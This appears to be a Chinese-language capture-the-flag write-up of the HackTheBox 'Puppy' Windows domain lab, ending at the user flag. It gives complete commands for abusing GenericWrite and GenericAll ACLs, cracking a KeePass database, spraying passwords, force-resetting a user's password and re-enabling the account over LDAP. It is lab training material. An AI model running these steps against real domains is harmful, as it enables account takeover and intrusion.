hackthebox 的 puppy 靶机是这个赛季的新红队靶机,目前免费,是Windows域渗透的经典,主要考察红队攻击者的SMB攻击,keepass密码破解,域内GenericAll,GenericWrite等ACL策略的理解和利用,本文不仅是简单的writeup,更有很多排错过程帮助你理解学习
一、信息收集
端口扫描
nmap -sT --min-rate 10000 -p- 10.10.11.70 -oA nmapscan/ports
探测一下详细信息,获得一个域名puppy.htb
,当前目标机器名是DC
,看起来是个域控机器
# nmap -sT -sV -sC -O -p53,111,135,139,445,593,3268,3269,5985,9389,49664,49667,49669,50871,50880 10.10.11.70 [2/190]Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-20 02:39 EDT Nmap scan report for puppy.htb (10.10.11.70) Host is up (0.100s latency).PORT STATE SERVICE VERSION53/tcp open domain Simple DNS Plus111/tcp open rpcbind?135/tcp open msrpc Microsoft Windows RPC139/tcp open netbios-ssn Microsoft Windows netbios-ssn445/tcp open microsoft-ds?593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.03268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)3269/tcp open tcpwrapped5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)9389/tcp open mc-nmf .NET Message Framing49664/tcp open unknown49667/tcp open unknown49669/tcp open unknown50871/tcp open unknown50880/tcp open unknownWarning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed portOS fingerprint not ideal because: Missing a closed TCP port so results incompleteNo OS matches for hostService Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windowsHost script results:| smb2-time: | date: 2025-05-20T13:20:10|_ start_date: N/A |_clock-skew: 6h39m10s| smb2-security-mode: | 3:1:1: |_ Message signing enabled and required
域名添加到 /etc/hosts 中
二、漏洞探测
SMB 探测
在靶机介绍页面给了一个初始账号levi.james / KingofAkron2025!
,前面探测到开了 445,5985 等端口
经测试 SMB 可以登录成功,winrm 不行
探测到一些共享目录,DEV 目录应该是相关的
smbclient 连接后并不能访问目录内容,权限不够
bloodhound 导出域信息分析一下
bloodhound-ce-python -u levi.james -p KingofAkron2025! -d puppy.htb -dc dc.puppy.htb -c all -ns 10.10.11.70 --zip
当前的 levi 用户属于 HR 组,HR 组对 developers 组有 GenericWrite 权限,developers 一看就是开发人员相关的,权限一般比较高
GenericWrite 权限可以允许把自己的账号添加到目标组
# 添加账号到developers组net rpc group addmem "DEVELOPERS" "levi.james" -U puppy.htb/levi.james%KingofAkron2025! -S dc.puppy.htb# 查看是否添加成功net rpc group members "DEVELOPERS" -U puppy.htb/levi.james%KingofAkron2025! -S dc.puppy.htb
此时再去看 DEV 共享目录,已经可以正常浏览目录,里面有个 keepass 的备份文件
要主密码才能打开
keepass 密码爆破
keepass2john 把文件转哈西失败,不支持 4.x 版本的备份文件
查了下 john 项目开发者的回复,2022 年就有人提过这个 issue,但目前还没有更新支持
经过不断的搜索,发现有人专门针对这个问题写了个 keepass4brute 工具做补充
https://github.com/r3nt0n/keepass4brute
项目依赖 keepassxc-cli,在 kali 中可以直接 apt 安装
apt install keepassxc-full
开始破解,看到剩余时间心凉了半截,这工具爆破速度太慢了,好在是靶机环境,没有用很复杂的密码
./keepass4brute.sh recovery.kdbx /usr/share/wordlists/rockyou.txt
在里面看到 5 对账号密码,弄出来做密码本
SMB 枚举到一些用户,其中几个可以跟 keepass 里的对应上,整理做成用户列表
喷洒 SMB/winrm 等,只有一个ant.edwards/Antman2025!
用户可以登录 smb,没有可以 winrm 的用户
bloodhound 继续分析攻击链,ant.edwards
用户属于 senior devs 组,senior devs 组对adam.silver
有 GenericAll 权限
GenericAll 权限可以有多种攻击方式,影子凭证 / Kerberoasting / 直接强制改目标用户密码
前两者更加隐蔽,但测试时都失败了,最后选择了强制改密码
# 把 adam.silver 用户的密码改成 passwd@123bloodyAD -d puppy.htb -u ant.edwards -p Antman2025! --host 10.10.11.70 set password adam.silver passwd@123
密码修改成功,但是用户是禁用状态
需要启用一下用户,测试时环境原因 bloodyAD 和 powerview 启用账户都失败了,选用ldapsearch
先查询adam.silver
的完整可分辨名称
ldapsearch -x -H ldap://10.10.11.70 -D '[email protected]' -w 'Antman2025!' -b "dc=puppy,dc=htb" "(sAMAccountName=adam.silver)" dn
再创建一个 ldif 文件内容如下,dn 是上一步查询的结果,userAccountControl 的值 512 代表开启用户
dn: CN=Adam D. Silver,CN=Users,DC=PUPPY,DC=HTBchangetype: modifyreplace: userAccountControluserAccountControl: 512
ldapsearch 执行文件
ldapmodify -x -H ldap://10.10.11.70 -D '[email protected]' -w 'Antman2025!' -f enable.ldif
此时adam.silver 就是启用状态了,可以用 ldapsearch 检查一下,512 是已启用
ldapsearch -x -H ldap://10.10.11.70 -D '[email protected]' -w 'Antman2025!' -b "dc=puppy,dc=htb" "(&(objectClass=user)(sAMAccountName=adam.silver))" userAccountControl
bloodyAD bloodhound 等也可以查看用户状态
winrm 成功登录 adam.silver 用户,在桌面看到 flag
先写到这里,点个关注,后面继续写这个靶机提权获取域管权限的过程
欢迎关注/点赞/转发/评论,获取更多红队实战技巧
原文始发于微信公众号(红队安全圈):HTB Puppy红队靶机:Windows域渗透经典
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论